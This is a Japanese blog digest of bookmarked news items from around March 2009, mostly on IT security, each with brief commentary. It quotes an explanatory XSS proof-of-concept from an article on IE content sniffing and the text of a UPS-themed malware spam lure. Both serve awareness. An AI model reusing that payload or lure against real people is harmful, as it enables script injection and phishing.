10代の起業家によるコミュニティ・サイト同士がスピード合併:ITpro(情報元のブックマーク数)

15歳で起業、18歳で億万長者か・・・・・

買収されたYBNは,米ニューヨーク州に住む15歳のPatrick DeVivo氏が2007年5月に立ち上げ,現在100人以上が参加している。一方,Teens in Techの設立者兼CEOであるDaniel Brusilovsky氏もまだ十代の若い起業家だが,2008年8月に限定公開のアルファ版を開始し,今では300以上のブログやメディア・コンテンツを維持している。

10代の起業家によるコミュニティ・サイト同士がスピード合併 | 日経 xTECH(クロステック)

screenshot

Googleは反論:Google Docsにプライバシー問題? 文書を消しても画像は消えず - ITmedia エンタープライズ(情報元のブックマーク数)

GoogleDocsの画像関係で、過去の画像を取得で来たりする問題(脆弱性)が存在するとのこと。

問題を指摘したのは、テクニカルコンサルタントのエイド・バーカー氏。同氏のブログによると、Google Docsには3件のプライバシー問題があるという。1件目は画像の問題。Google Docsで文書に挿入した画像はGoogleのサーバにアップロードされ、IDを割り当てられる。以後その画像にはURLでアクセスできるようになり、共有コントロールで保護できないばかりか、文書自体を削除した後も画像には引き続きアクセスすることができてしまうという。

Google Docsにプライバシー問題? 文書を消しても画像は消えず - ITmedia エンタープライズ

この対応は痛いなぁ・・・正直URLを固定にせずにランダム化すればいいのに・・・

画像の問題については、画像のURLを知っているのはその画像が組み込まれていた文書にどこかの時点でアクセスできていた人物のみであり、この人物はいずれにしても問題の画像を保存していた可能性があると反論。自分のアカウントから画像を末梢して欲しい場合は、Googleのサポートに連絡すればいという。
 過去のバージョンが参照できてしまう問題については、共有相手に更新履歴が見られるのはDocsに組み込まれた機能だと指摘。編集過程を見られたくない場合は、新しいコピーを作成して公開すれば、履歴は消えると説明した

Google Docsにプライバシー問題? 文書を消しても画像は消えず - ITmedia エンタープライズ

草の根的なコミュニティでの根本原則は… - bugbird の日記(情報元のブックマーク数)

その最終的にはGive&Giveしてくれている人と、Take&Takeしている人が、Give&Takeに変わるところをみるのが面白いかなw

最終計算するとGive&Takeなんだけどねw

Give & Take なのである。

いいかげん放置プレイを続けていながら、ここに来て『ノルマ達成の為である』とのたまい、クモの巣が張ってしまっていたような「つて」を掘っくり返して、 Take だけしようというような了見は「さもしい」とそしられても仕方ないだろう。

草の根的なコミュニティでの根本原則は… | bugbirdの日記 | スラド

screenshot

まっちゃ445に参加します。 - isolの日記 by あみだく(情報元のブックマーク数)

いらっはーーーーぃ!急にLTで招致してすまぬw

第6回まっちゃ445情報セキュリティ勉強会に参加します。

ちなみにその前の週は大阪のまっちゃ139に参加予定。

まっちゃ445では

「情報セキュリティ勉強会ライトニングトーク大会(日本全国から総勢15勉強会が大集合!)」

の中で、SITWの紹介をする予定。

ああ、LTとはいえ100人クラスの人の前で話すことは、たぶん初めて。

まっちゃ445に参加します。 - isolの日記 by あみだく

screenshot

5月8日〜6月29日の週末勉強会は新幹線で関西から福岡まで誰かと一緒に行こう! - インフラ管理者の独り言(はなずきん@酒好テム管理者)(情報元のブックマーク数)

なんか、呼ばれた気がする・・・・ちょうど予定があいた勉強会があれば是非!

なので、同じ場所から一緒に行かないと!というのはあるかもだけど、

大阪−長崎 往復

普通車指定席2日間用:12,000円
通常の価格     :32,520円
おトク額()内は割引率:20,520円(63%)

安! ちょっと考えるかなぁ。

5月8日〜6月29日の週末勉強会は新幹線で関西から福岡まで誰かと一緒に行こう! - 家庭内インフラ管理者の独り言(はなずきんの日記っぽいの)

screenshot

ウィジット株式会社:社長ブログ ≫ ネットだけがんばっても成果にはつながらない(情報元のブックマーク数)

うわっ、売れない商品をホームページで売れるようにしてくれかぁ・・・売れるものでもホームページで売れないものもあり、商品の顔というのは大切ってことですね。

売れないものを顔で売ることもできない、うん、いつも岡本社長の言葉は心に響く

売れない商品、サービスをホームページの力で売れる様にしてくれ!
という依頼は少なくありません。
ですが、お客様に支持されていない商品、サービスは、どんなにがんばっても、ホームページでは集客できません。

お客様に支持されている商品、サービスでありながら、その良さが伝わっていない場合については、ホームページを見直すことで、集客につながるのです。

したがって、集客につながるホームページを作ろうと思うと、商品やサービスの見直しもあわせて行うことが必要となることが大半なのです。

それをするためにも、経営戦略を明確にし、経営者が積極的に入ってこなくてはならないのです。

http://blog.withit.jp/2008/05/22/yiyayeaodhaaeaaieiaeee/

screenshot

[無視できない]IEのContent-Type無視 − @IT(情報元のブックマーク数)

ちょっ!のっけからアンチメジャー宣言wwww>それも編集部wwwww

そこで本連載では、そのようなメジャーなもの“以外”も掘り下げていきます

[無視できない]IEのContent-Type無視 (1/2):教科書に載らないWebアプリケーションセキュリティ(2) - @IT

テキストファイルでもXSSしちゃうIEの悪行。Content-Typeが信用ならないから自動的にContent-Typeを見分けようとしたIEの便利機能が悪行となってしまった件

IEのContent-Type無視問題は、Webアプリケーションの開発や検査にかかわる方であれば一度は耳にしたことがあると思います。

 例えば、以下のような「テキストファイル」をIEで開いたとします。

HTTP/1.1 200 OK
Content-Type: text/plain
これはテキストファイルです。
<script>alert("xss");</script>

 この場合、IEは“text/plain”と指定されたContent-Typeヘッダに従わず、コンテンツ内に含まれる内容から「HTML」であると判断して、そこに含まれるスクリプトを実行してしまいます。

[無視できない]IEのContent-Type無視 (1/2):教科書に載らないWebアプリケーションセキュリティ(2) - @IT

IEの今後、はせがわようすけさんの今後に期待!w、てか、Webアプリとしてテキストをダウンロードしたりするもので、一部先頭256バイトの空白を入れて対応しているExchange OWAとかありますよねw

「HTMLではないものをWebブラウザが独断でHTMLと判断してしまう」というのは、セキュリティ上の観点から考えれば、Webブラウザ側で真っ先に修正すべき点です。しかし、「互換性と利便性の確保」という点を優先するIEではなかなか修正の難しい問題のようです。それでも、IE8においては本稿で取り扱っている内容に関する処理が大きく改善されているようで、数年前に比べると少しずつではありますが前進していると感じます。

 IE8での変更点についてはまだ詳細を調べ切れていないのですが、今後機会があればIE 8での改善点などについても調査のうえ書いてみたいと思います。

[無視できない]IEのContent-Type無視 (2/2):教科書に載らないWebアプリケーションセキュリティ(2) - @IT

screenshot

NTT東西、「Lモード」サービス終了へ:Enterprise:RBB TODAY (ブロードバンド情報サイト) 2009/03/31(情報元のブックマーク数)

LモードナツカシスwwwwwwwwwiMode出た当時に出たなぁwww

NTT東日本およびNTT西日本は30日、「Lモード」を終了することを発表した。サービス終了日は1年後の2010年3月31日。

 「Lモード」は、対応する電話機・ファクスなどの画面のメニューから、簡単なボタン操作により、情報検索やメールの送受信等などのネット利用ができるサービス。NTT東西では、新規申し込み受付を2006年11月30日をもって終了し、2009年度末を目途にサービスを終了する予定である旨を発表していた。

NTT東西、「Lモード」サービス終了へ | RBB TODAY

screenshot

ATNDは情報漏洩するな - kinneko@転職先募集中の日記(情報元のブックマーク数)

最近そんなのばっかりですwwwwww、RSSを抑制するようにすればいいのですが、難しいんでしょうね。

「管理者・参加者のみ閲覧/投稿可能」に設定してあっても、RSSでは見えてしまうし、URLたたくと見えてしまう。

エントリはできないけどね。

ATNDは情報漏洩するな - kinneko@転職先募集中の日記

screenshot

Tripwireを利用:KCCS、PCI DSS 11.5準拠のための変更管理サービス - ITmedia エンタープライズ(情報元のブックマーク数)

KCCSさんが、PCI DSSのファイル整合性のツールとしてTripwireを提供開始とのこと。

京セラコミュニケーションシステム(KCCS)は、クレジットカード業界のセキュリティ基準「PCI DSS」の11.5(ファイル整合性)への準拠を支援するサービス「Tripwire PCI DSSファイル整合性対策パック」を4月1日に始める。
PCI DSS要件の11.5は、カード会員のデータやシステムデータなどの整合性維持を規定したもので、適切な変更管理などを求めている。

KCCS、PCI DSS 11.5準拠のための変更管理サービス - ITmedia エンタープライズ

screenshot

Skype for iPhoneの評価について(動画) : Gizmodo Japan(ギズモード・ジャパン), ガジェット情報満載ブログ(情報元のブックマーク数)

ついにSkype for iPhoneが出てましたね!!!!日本語GUIはまぁ、いいとして、Wi-Fiだけでも通話が可能とのこと。これはいいなぁ

google:skype iphone cheatとか調べてないからね!sshで入ってフォルダとかファイルとか探してないからね!w

スクリーンショットや機能は上記ギャラリーやネタ元(日本語だから安心!)から推察するとして、重要なことだけ、2つお知らせします。

1.電話はWi-Fi環境でのみ使用可能(携帯電話経由ではNG)
2.チャットは携帯電話ネットワーク経由からでも使用可能

恐らく、普段Skypeをどう使っているかで、このfor iPhoneが糞アプリか神アプリか、評価が真っ二つに分かれることでしょう。VoIPメインの人には「全然いらない。なにそれ、意味ないじゃん」ということになる可能性が高いですし、チャットをメインに使ってる人にとっては「これこそ僕が求めていたものだ!」となると思います。

Skype for iPhoneの評価について(動画) | ギズモード・ジャパン

初音タンも入れたみたいw。3Gでもできたら、電話が使われないくなるだろうな・・・

しかしながら今までのiPhoneSkypeクライアントはVoIP絡みなのか3GではなくWiFiに使用が限定されているものが大半でした。このような場合chat機能も3GではなくWiFiのみに制限されているため、気軽なチャットツールとしてのSkypeすらもiPhoneではWiFi縛りになっていました。
しかし、今回登場したiPhone Skypeはグループチャットも含めchat機能が3Gで使用できます。これは便利です。なお、VoIP機能は3Gでは使えません。

iPhone Skype

screenshot

Malware SPAM: UPS_SERV867612.zip - Calendar Of Updates(情報元のブックマーク数)

CoUより、またUPS(郵送のね)を悪用した添付ウイルスが出てきているとのこと。

From: "United Parcel Service of America"
Subject: Postal Tracking #SBNP7397170YYXN
Hello!

We were not able to deliver postal package you sent on the 14th of March in time
because the recipient’s address is not correct.
.
Please print out the invoice copy attached and collect the package at our office.

Your United Parcel Service of America

www.calendarofupdates.com

screenshot

_ [ネットワーク] 続・京都IPv6勉強会(まっちゃだいふくの日記):TATSUYA.info [Diary](2009-03-30)(情報元のブックマーク数)

つなぐことは問題なくできるけど、それを現場で応用したり使ったり活用ってことでは勉強不足ってことか?

それは、応用だろうからすんなり入れると思いますけどね。

たしかに、トンネル張るところを探したりお願いしたり、トンネル張ったり。なんとなくではないかもだけど。

IPv6を使ってみたくて前々から使ってる割には全然、技術的なこと分かってないなぁ。と思ったりしています。

http://tatsuya.info/tdiary/?date=20090330#p03

screenshot

USBメモリ利用時の危険性、認知しているのは約半数〜IPA調査(情報元のブックマーク数)

これは、使えるアンケート結果、母数も5000人とかなり多いし、高校生以上みたいだし。

調査は15歳(高校生)以上のPCインターネット利用者5000人(男性2625人、女性2375年)を対象として、Webアンケート形式で1月16日〜19日に実施。通算7回目となる今回の調査では、主に自宅環境でのUSBメモリ無線LANに関するセキュリティ対策を中心に質問している。

USBメモリ利用時の危険性、認知しているのは約半数~IPA調査

USBメモリのセキュリティ状況の事は、ユーザではこの程度の知識量。

USBメモリについては、59.2%が現在使用中、12.4%が以前に使用していたと回答。現在USBメモリを使用中の回答者に対して、USBメモリのセキュリティに関する被害やトラブルについて尋ねた質問では、「詳しい内容について知っている」が14.1%、「概要をある程度知っている」が39.0%、「そのような話題があることを聞いたことがある程度」が32.6%、「全く知らなかった」が14.4%。USBメモリ利用者のうち、セキュリティ問題に関してある程度認知している割合は53.1%と約半数にとどまった。

USBメモリ利用時の危険性、認知しているのは約半数~IPA調査

3割は何もせずに、USBメモリをブッ刺すと。。。そんなもんか。

また、USBメモリを使用する際に行っているセキュリティ対策を尋ねた質問では、複数回答のうち1つでも対策を実施している人の割合は67.0%で、3人に1人は何の対策も実施していない。実施しているセキュリティ対策(複数回答)は、「出所不明・信用できないUSBメモリを使用しない」(50.2%)、「ネットカフェのPCやセキュリティ対策が不明なPCではUSBメモリを使用しない」(41.3%)などが中心となっている。

USBメモリ利用時の危険性、認知しているのは約半数~IPA調査

なにより、こっちのがひどい、3割が無線LANについて何も知らないとか・・・

無線LANに関する被害やトラブルについての質問では、「自宅で使っている無線LANの電波が自宅の外や周辺に届く場合がある」ことを「全く知らなかった」と回答した割合が22.1%に上った。また、「電波の傍受により通信内容を盗み見られる場合がある」では30.2%、「無線LANアクセスポイントを経由して自分のPCに侵入される場合がある」では30.3%が「全く知らなかった」と回答している

USBメモリ利用時の危険性、認知しているのは約半数~IPA調査

すたっきー涙目・・・

IPAでは、無線LAN利用者の約2割が危険なWEPを利用しており、また、そもそも暗号化を行っていない・暗号化を行っているかどうかがわかならい利用者が4割を超えており、無線LAN利用時の危険性についても今後も継続して啓発していくとしている。

USBメモリ利用時の危険性、認知しているのは約半数~IPA調査

screenshot

某勉強会無理無理プラン(随時更新中!) - NEは、なんちゃってエンジニアの略称です。(情報元のブックマーク数)

琉球インターネットセキュリティ勉強会の細切れでてきました。

西に行くほど濃い懇親会、既に2次会+徹夜勉強会が決定されているwwwwwさすがだw
結局、地元の人同士で交流するのか外の人を大切にするのか、、、そのあたりも含めて考えないといけないかな、どっちもこっちも、、、ってなってるかな。(地元の人だけだと、1次会で終了だし、外の人っていうと2次会を1次会にすればいいんじゃないかな)両方どっちも取りに見えるw

那覇市内居酒屋で懇親会:17:00〜19:00

  • オススメの店が有るから、人数確定したら抑えるぉ
  • 懇親会費用:3,500円/人を予定(もうちょい安いかも)
  • 俺(+α)はきっと運転手だから飲めん
  • 宿泊組は車移動が有るから、飲み過ぎ自重w

恩納村某宿泊施設にチェックイン:20:15

  • 現在、4名部屋2室、3名部屋1室で合計11名対応可能
    • でも、早く予約しないと埋まるよ?
  • 人数溢れても近くにいくらでも別のホテル有るお

恩納村某居酒屋にて二次会:20:30〜23:30

  • 二次会予算:3,500円/人を予定
  • 俺も飲む!←ここ重要!

そのまま素泊まりし、チェックアウトは11:00まで

  • だが、オメザドライブ組は06:00起床!
    • それ、運転手はアルコール抜けてないんじゃね?
http://d.hatena.ne.jp/minsaa/20090331/1238455829

screenshot

検証手段の確立が課題:ワーム混入で鉄道ダイヤに乱れも、社会インフラのセキュリティに懸念 - ITmedia エンタープライズ(情報元のブックマーク数)

昔はプロトコルが特定されていたり、回線が別だったりしたけど、今はover IPばっかり、そのためワームとかウイルスの影響で基幹システムが影響を受けるという話

企業の情報システムと重要インフラのシステムの違いについて、IPAは専用の装置やプロトコルと利用したクローズ性の高い環境であること、運用年数が20年以上であること、原則として24時間の安定稼働が求められること、人命に影響するといった点を挙げている。

 しかし、近年は重要インフラのシステムにも汎用的なハードウェア製品やOS、TCP/IPといったオープンなプロトコルを利用する動きが広まりつつある。情報セキュリティ技術ラボラトリーの中野学氏は、「特にインフラを制御管理するネットワークでは汎用製品の利用が進むが、簡単にパッチを適用するといったことが非常に難しい」と指摘する。

ワーム混入で鉄道ダイヤに乱れも、社会インフラのセキュリティに懸念 - ITmedia エンタープライズ

基幹システムはよりセキュアに、シンクライアントとかネットワークも別、FireWallDHCPで接続制限をした方がよいかも・・・って話ですね。

国内での対策では、具体的にファイアウォールやルータを利用したネットワークセグメントの分割、コンポーネット/システム単位でのセキュリティ対策の検証が有効になるとして、これらを実現するための業界や事業者による共通仕様策定や法律およびガイドラインの整備が不可欠だという。

ワーム混入で鉄道ダイヤに乱れも、社会インフラのセキュリティに懸念 - ITmedia エンタープライズ

screenshot

ワシントンのサクラ、まもなく満開に | エキサイトニュース(情報元のブックマーク数)

ポトマックリバーのサクラが満開とのこと。いいなぁ、サクラ見に行きたいなぁ。

米ワシントンのポトマック川に面した池「タイダル・ベイスン」近くで、サクラが満開間近になっている。

http://www.excite.co.jp/News/odd/E1238474228948.html

screenshot

アカヒ新聞!アウト!|たまのブログ(情報元のブックマーク数)

ふむぅ・・・

2ちゃんねる鉄道路線・車両板@2ch掲示板 なんだが、通称「鉄板」なんだが、濃ゆ〜い鉄っちゃんの楽しい溜まり場ですね。そこで、
差別用語連発で荒らしした馬鹿がいるんだが、今では2ちゃんねるというのもちゃんと「削除人」というのがおりまして、監視してるわけです。

http://ameblo.jp/sski900/entry-10233842494.html

NHKでも掲載された模様。

朝日新聞社によりますと、東京本社編集局の校閲センターに所属する49歳の男性社員が勤務中に業務用のパソコンを使ってインターネットの掲示板に差別を助長する内容の書き込みを繰り返していたということです。朝日新聞社では30日の夜、外部からの指摘を受けて調査した結果、男性社員を特定しました。この社員は「ほかの投稿者とやり取りをするうちにエスカレートしてしまった。悪いことをして釈明の余地はありません」などと話しているということです。

http://www3.nhk.or.jp/news/t10015105461000.html#

匿名なんてないんだよ!

◆本社「厳正に処分」
朝日新聞社広報部の話 弊社社員が2ちゃんねる掲示板にきわめて不適切な書き込みをし、多くの皆さまに不快な思いをさせ、ご迷惑をおかけしたことをおわびします。事実関係をさらに確認した上で、厳正な処分をいたします。

http://www.asahi.com/national/update/0331/TKY200903310332.html

screenshot

パターンアップ-5.931.00

Trendmicroのパターンがアップしました。

パターン番号:5.931.00

イエローアラートJP/USJP 2009年03月度パッチ、AdobeのZero-DayとMS09-002のExploit、FlashPlayer、ExcelのZero-Day警告/US 特筆無し
アップデート理由:定期アップデート(最後の最後まで引っ張ってConficker対応のアップデートをした模様)
新規対応
 特筆なし
亜種対応
 MS08-067
  WORM_DOWNAD.AD
  WORM_SPYBOT.OQ

screenshot

milter managerを利用したRgrey - モーグルとカバとパウダーの日記(情報元のブックマーク数)

id:stealthinuさんのMilterManagerのおはなしと、特筆すべきはコメントでのkouさん(MilterManagerの中の人)との、コメント合戦。これ読むと結構MilterManagerの勉強になる。

先日公開されたばかりのmilter(mail filter)を、Rubyプログラマブルに呼び出すためのmilter。
milter managerが親になって、子のmilter達を条件に合わせて呼び出す、というような使い方が出来る。
そこの使い方例として、S25RDNSBLに引っかかった時だけgreylistingを呼び出す、というRgreyやselective greylistingをすることが挙げられていました。
milter managerリファレンスマニュアル
ある意味、milter managerでゴリゴリ設定を書く(つまりRubyのプログラムを書く)と、policyd-weightでやってるような重みづけで拒否したり、greylistingしたり、というのが出来るようになると思います。
となると、milter manager上のプログラムがそろってくると、また新しいスパム対策ツールとして育っていけそうな気がします。

milter managerを利用したRgrey - モーグルとカバとパウダーの日記

うれしいのが、id:stealthinuさんが勉強会の事を、kouさんに振っていただいて、

静岡の勉強会話します。
以前スパム関係のことで話をさせていただいた関係で、また紹介いただきまして。
元々懇談会まで参加する予定でしたが、kouさんがこられるんでしたら、ぜひいろいろお話させていただきたいんで、自分も泊まれる予定で行きたいです。
というか、kouさんもmilter managerがらみのことでお話しいただいてはどうかと思いました。
自分も手弁当で、交通費だけ出していただけるらしいのですが、それ半分こにさせていただいても良いので。

milter managerを利用したRgrey - モーグルとカバとパウダーの日記

kouさんも来ていただける!という事実!これは本当にうれしい!!!!id:stealthinuさん++!kouさん++

よろしくお願いいたします!!!

おぉ!それでは私も行くことにします!
あぁ、私も自分の考え(?ポリシー?)を話しておいた方が話が進みやすいかもしれないですね。時間をもらえるんでしょうか。
あ、私に交通費をまわさなくても大丈夫ですよ。
私には子供がいないので生活費がかかっていないんです。 ;-)

milter managerを利用したRgrey - モーグルとカバとパウダーの日記

screenshot

ウィルスバスター2009 パソコンが重い(遅い)|子午線馬ノ助ブログです(情報元のブックマーク数)

HPのパソコンでウイルスバスター2009との相性が悪いとか・・・遅い?らしいです。

CPUを使いきるみたいで、、、うーん、TISToolで再インストールとかもやってるだろうから、なんなんだろうねぇ。

約1週間前に届いたHP社のパソコン。メモリは5GB、HDを320GB、CPUはCore 2 Duo E7300。

どうやってもウィルスバスターとの相性が悪い。スペック的には十分なんだけどね。

どんな風に悪いかというと、インターネットエクスプローラーが立ち上がるのに数分。文字を入力する際、一つの漢字変換に1分。もうやってられません。他のソフトを立ち上げると (応答なし) なんて表示されます。非常にいらだちます。CPU使用率を見ると80%〜100%を行ったりきたり。

トレンドマイクロ社からは、毎日のように ああしろ、これを試してくれ とメールで指示されるものの重いパソコンで指示された事をできない!!

どうにかしてくれ〜!! 私以外にも同じような質問が来てるでしょ? とトレンドマイクロ社に問い合わせたら、

「この事象はお客様だけの個別の事象です」 との回答。

ウィルスバスター2009 パソコンが重い(遅い) | 子午線馬ノ助ブログです

screenshot

ケイ・オプティコム、法人向けネット接続「インターネットオフィス:1Gコース」に新プラン「IP32」「IP64」を追加:RBB TODAY (ブロードバンド情報サイト) 2009/03/31(情報元のブックマーク数)

ケイ・オプティコムさん、IPv4余ってるんだねぇ、、、と言いたくなるメニュー追加

「インターネットオフィス:1Gコース」は、2008年12月1日から提供を開始した光ファイバーネットワークとインターネットサービスプロバイダ機能をオールインワンで提供する最大通信速度1Gbpsのインターネット接続サービス。従来は、動的IPアドレス1個の「ECO」、固定IPアドレス1個の「IP1」、固定IPアドレス8個の「IP8」、固定IPアドレス16個の「IP16」が提供されていたが、これに、固定IPアドレス32個の「IP32」、固定IPアドレス64個の「IP64」が加わることとなる。今回の「IP32」「IP64」のサービス品目追加は、SaaS事業者、コンテンツ事業者など、より多くの固定グローバルIPアドレスを必要とされる顧客のニーズに応えるのが狙いとのこと。

ケイ・オプティコム、法人向けネット接続「インターネットオフィス:1Gコース」に新プラン「IP32」「IP64」を追加 | RBB TODAY

うーん、32個追加でも1万円しか変わらずか・・・

月額利用料金は通信料・プロバイダ料込みで、IP32(固定IPアドレス32個)が180,600円(税込)、IP64(固定IPアドレス64個)が199,500円(税込)

ケイ・オプティコム、法人向けネット接続「インターネットオフィス:1Gコース」に新プラン「IP32」「IP64」を追加 | RBB TODAY

screenshot

au 携帯の「ケータイアップデート」で不具合、利用できない状況に - japan.internet.com 携帯・ワイヤレス(情報元のブックマーク数)

AU携帯の携帯アップデートが故障中とのこと。この間のアップデートをしないように!らしいです。

KDDI は2009年3月31日、無線ネットワークを利用した au 携帯電話のソフトウェア更新機能「ケータイアップデート」が同日17時現在、利用できない状況が発生していることを明らかにした。

対象機種は、ケータイアップデートの対象となっている全機種。同社では現在「鋭意復旧に努めている」としている。

http://japan.internet.com/allnet/20090331/9.html?rss

しないように!ってのは、負荷が上がるからか?!

現在、「ケータイアップデート」がご利用できない状況が発生しております。
誠に申し訳ございませんが、復旧までご利用を控えていただきますようお願い申し上げます。
鋭意復旧に努めておりますが、「ケータイアップデート」対象のau携帯電話をご利用のお客様をはじめ、関係の皆様に、ご迷惑をお掛けしておりますことを深くお詫び申し上げます。

http://www.au.kddi.com/news/information/au_info_20090331.html

screenshot

今夏に製品化:電子文書の廃棄を促す新技術、NEC情報システムズが開発 - ITmedia エンタープライズ(情報元のブックマーク数)

これができるってことは、紙にもRFIDとか、インク型のRFIDとかがついて紙文書も削除対象一覧をすぐに出せるようになったりするんでしょうね。

この商品自体は電子文書の利用状況を把握して不要データの削除を推薦してくれるそうです。

PROCENTER/Cは、保管期限や活用度、重要度に応じた電子文書ごとの利用状況を把握し、不要となった文書データの削除をユーザーに促す。保管する版数や期間を指定し、古い電子文書を自動削除することもできるという。

 また、ファイル名に含まれる文字や採番ルール、承認フローなどに基いて文書データを格納する際に、格納のルールをフォルダ単位に指定できる。これにより、従来はユーザー自身に任せていた文書管理の運用をシステム化でき、ルールの徹底や登録ミスを回避できるという。

電子文書の廃棄を促す新技術、NEC情報システムズが開発 - ITmedia エンタープライズ

screenshot

電源オフでも写真を自動投稿、国内ベンチャーが目指すデジカメの将来像 | 電子・機械 | nikkei BPnet 〈日経BPネット〉(情報元のブックマーク数)

へぇ、電源が切れていても無線LAN機能を起動して写真をアップロードするとのこと。便利なような、、、電池を喰うような・・・

「このカメラは電源オフでカバンに入れたままでも、自動で写真をネット・サービスにアップロードします。だって、その方が便利でしょう」

 インターネット家電を開発するベンチャー企業Cerevo(セレボ)の岩佐琢磨社長は、現在開発中のデジタル・カメラの概要を明らかにした。最大の特徴は、同社が提供するネット上の写真管理サービスとの連携機能だ。電源を切っていても、特定の条件がそろった時に内蔵した無線LAN機能を起動。自宅や外出先でインターネットのアクセスポイントを探し出して、撮影した写真を自動で管理サービス側にアップロードする。

http://www.nikkeibp.co.jp/article/news/20090330/142352/

screenshot

出勤後はまずアダルトサイト? 閲覧しすぎの職員を懲戒処分 - 東京都教育庁 | ネット | マイコミジャーナル(情報元のブックマーク数)

会社はアダルトサイト閲覧場で、東京都教育庁の職員が懲戒処分となったそうです。(管理監督者も処分…だそうです)

東京都教育庁は30日、職場のPCから約2年間にわたってアダルトサイトを閲覧していたとして、地方公務員法に基づき、指導主事の43歳男性職員を減給10分の1(3カ月)の懲戒処分にしたと発表した。また、管理監督者の課長級職員2人に対しても、文書訓告の処分を行った。

http://journal.mycom.co.jp/news/2009/03/30/064/index.html

URLフィルタログ解析で判明とのこと。一時的な作業で発見ではなくルールとして回っているならいいんですが・・・

あと、前職では私の通信はかなりブロック(ハッキング系)されていたようだwwwwww懲戒にならなくてよかったw

教育庁では、アダルトサイトを閲覧するとブロックする機能があり、懲戒処分を受けた指導主事のPCからの同サイトへのアクセス・ブロック数が異常に多かったため、担当職員が気付き発覚した。

http://journal.mycom.co.jp/news/2009/03/30/064/index.html

screenshot

四国中央市がOpenOffice.orgを全庁PC1100台に導入,5年で3300万円コスト削減:ITpro(情報元のブックマーク数)

四国中央市OpenOfficeを全庁1100台に導入とのこと。

愛媛県四国中央市は全庁のパソコン(PC)約1100台にOpenOffice.orgを導入した。オープンソースのオフィス・ソフトであるOpenOffice.orgに移行することで,5年間に約3300万円の経費削減を見込む。
また文書ファイル・フォーマットには,国際標準(ISO26300)であるODF(Open Document Format)を採用する。市民が有償のオフィス・ソフトを購入する必要がなくなり,市民サービスの向上につながると期待している。国際標準のODFに対応することで,文書が長期間利用可能であるとしている。

四国中央市がOpenOffice.orgを全庁PC1100台に導入,5年で3300万円コスト削減 | 日経 xTECH(クロステック)

小中学校のパソコンも今後移行とのこと。

また,小中学校の教育用パソコン約900台も順次OpenOffice.orgに移行する計画である。

四国中央市がOpenOffice.orgを全庁PC1100台に導入,5年で3300万円コスト削減 | 日経 xTECH(クロステック)

screenshot

佐川急便、リコール関連業務を一括して請け負うサービスを開始へ | 電子・機械 | nikkei BPnet 〈日経BPネット〉(情報元のブックマーク数)

リコールの製品回収や交換を行うリコールサービスを佐川急便が開始とのこと。

佐川急便(本社京都市)は、製造業などに向けてリコール時の製品回収を包括的に請け負うサービス「リコール・トータルサービス」を始める。まず、2009年4月21日に関東圏内限定で開始、さらに同年6月21日からは全国で展開する。

http://www.nikkeibp.co.jp/article/news/20090331/142502/

screenshot

快食快眠快便 | 花冷えの京都(情報元のブックマーク数)

とり新という親子丼うまそう!!!!

お昼に「とり新」という店で親子丼を食べました。
人気の店のようで結構並びました。
ここは、お昼のメニュー親子丼だけで勝負しています。
かなり腕に自信があると見た。
出て来てびっくり、親子丼の上にさらに卵がのっている。
コレステロール値高いぞ。でもおいしかったです。
みそ汁が白くて甘いのも珍しい。

花冷えの京都 快食快眠快便

ぶははは!荷物チェックなしwwwだったらしいw

午後から京都御所の参観に行きました。
1月頃予約した時に既に1時間の標準コースは
満員で、三十五分の短縮コースになりました。
御所の入口に物々しく警官が四、五人立っていた
のに、身分証明証を出そうとしたら「いいですよ」と
言われた。荷物検査もなく、案外セキュリティは甘い。

花冷えの京都 快食快眠快便

ここの水路今度見に行こうっと。

次の日、南禅寺に行きました。
ここの水路が見たかったのです。
琵琶湖から引いた水が、ここを流れて
京都に届いています。

花冷えの京都 快食快眠快便

screenshot

なぜ? 営業マンは本当の顧客ニーズをつかめないのか - 経営企画室.com - ZDNet Japan(情報元のブックマーク数)

売る営業、売らない営業。押し売り営業とコンサル

コンサルティングという仕事柄、システム会社をはじめ多くの営業をうけたり、クライアント先の営業同行をしたりと営業現場に立ち会う機会が多くありますが、8割〜9割の営業マンは、「自分の売りたいものを売る」という“押し売り”スタイルからどうしても、抜けることができていません。
顧客側は何を悩んでいて、どこにニーズがあるのか、どのように解決されたら嬉しいのか…、分かっているようですが、よく聞いてみると非常に表層的な理解に留まっているケースが多いといえます。つまり、顧客に自社の商品/サービスを買ってもらう“明確なストーリー”を持たないまま営業するので、結局は商品ありきの“押し売り”か“お願い営業”になってしまいます。

なぜ? 営業マンは本当の顧客ニーズをつかめないのか - コンサルタントが実践する問題解決手法 - ZDNet Japan

昨今のクライアント側の考え

クライアント側が今までの付き合いよりも明確に自社のメリット(売上や利益)に繋がる企業を選択せざるを得ない状況になりつつあります。みなさんの会社でも、継続が当たり前だった既存クラインアントから受注単価が大きく低下したり、付き合い自体がなくなったりと、悪い兆候を肌で感じはじめているのではないかと思います。

なぜ? 営業マンは本当の顧客ニーズをつかめないのか - コンサルタントが実践する問題解決手法 - ZDNet Japan

空気読んで聞き出す、聞き上手こそ営業の上手なりか。

みなさんも様々な場面で営業を受ける場面があると思いますが、ダメな営業の典型としては、【その1】全く顧客側の状況を確認せず、自社の商品/サービス説明に終始するパターンと【その2】顧客の状況を聞くが発展性がなく、顧客側からすると“尋問”されている感覚となるパターン、の大きく2つに大別されるのではないでしょうか。どちらも提案営業という観点からは失格ですが、これらで受注ができるとすれば、顧客がもともとその商品/サービスへのニーズ、購買意欲が高い場合です。

なぜ? 営業マンは本当の顧客ニーズをつかめないのか - コンサルタントが実践する問題解決手法 - ZDNet Japan

screenshot

NEWEBメール/ホームページ系サービスの提供終了について | 2009年 | KDDI株式会社(情報元のブックマーク数)

NEWEBナツカシスwwwwwwwwwwいまKDDIグループになってたんだねぇ。

KDDIは、「NEWEBメール/ホームページ系サービス」の提供を、利用者の減少に伴い、2009年10月31日 (土) に終了します。

「NEWEB」は、インターネット接続サービスのプロバイダとして、1998年12月の提供開始以来、2000年4月にADSLサービスを追加するなど、時代に合わせたインターネットサービスを提供してきました。その後、2008年8月の「ダイヤル1コース」の終了に伴い、「NEWEBメール/ホームページ系サービス」を単独サービスとして提供してきましたが、現在では、より高機能な「au one net」などへ移行が進んでいます。

NEWEBメール/ホームページ系サービスの提供終了について | 2009年 | KDDI株式会社

screenshot

NECフィールディング、PC資産管理でソリトンと連携 - ITmedia エンタープライズ(情報元のブックマーク数)

クライアントPCの管理ってのは、接続されなくなってからの管理が難しいのですがどうしてるんでしょうねぇ>ソリトンさん

60日で本当にデータベースから削除してもいいのか?何日で削除されるべきか?そういうのが難しいですよね。遊休PC管理という意味では本当に難しいところ。

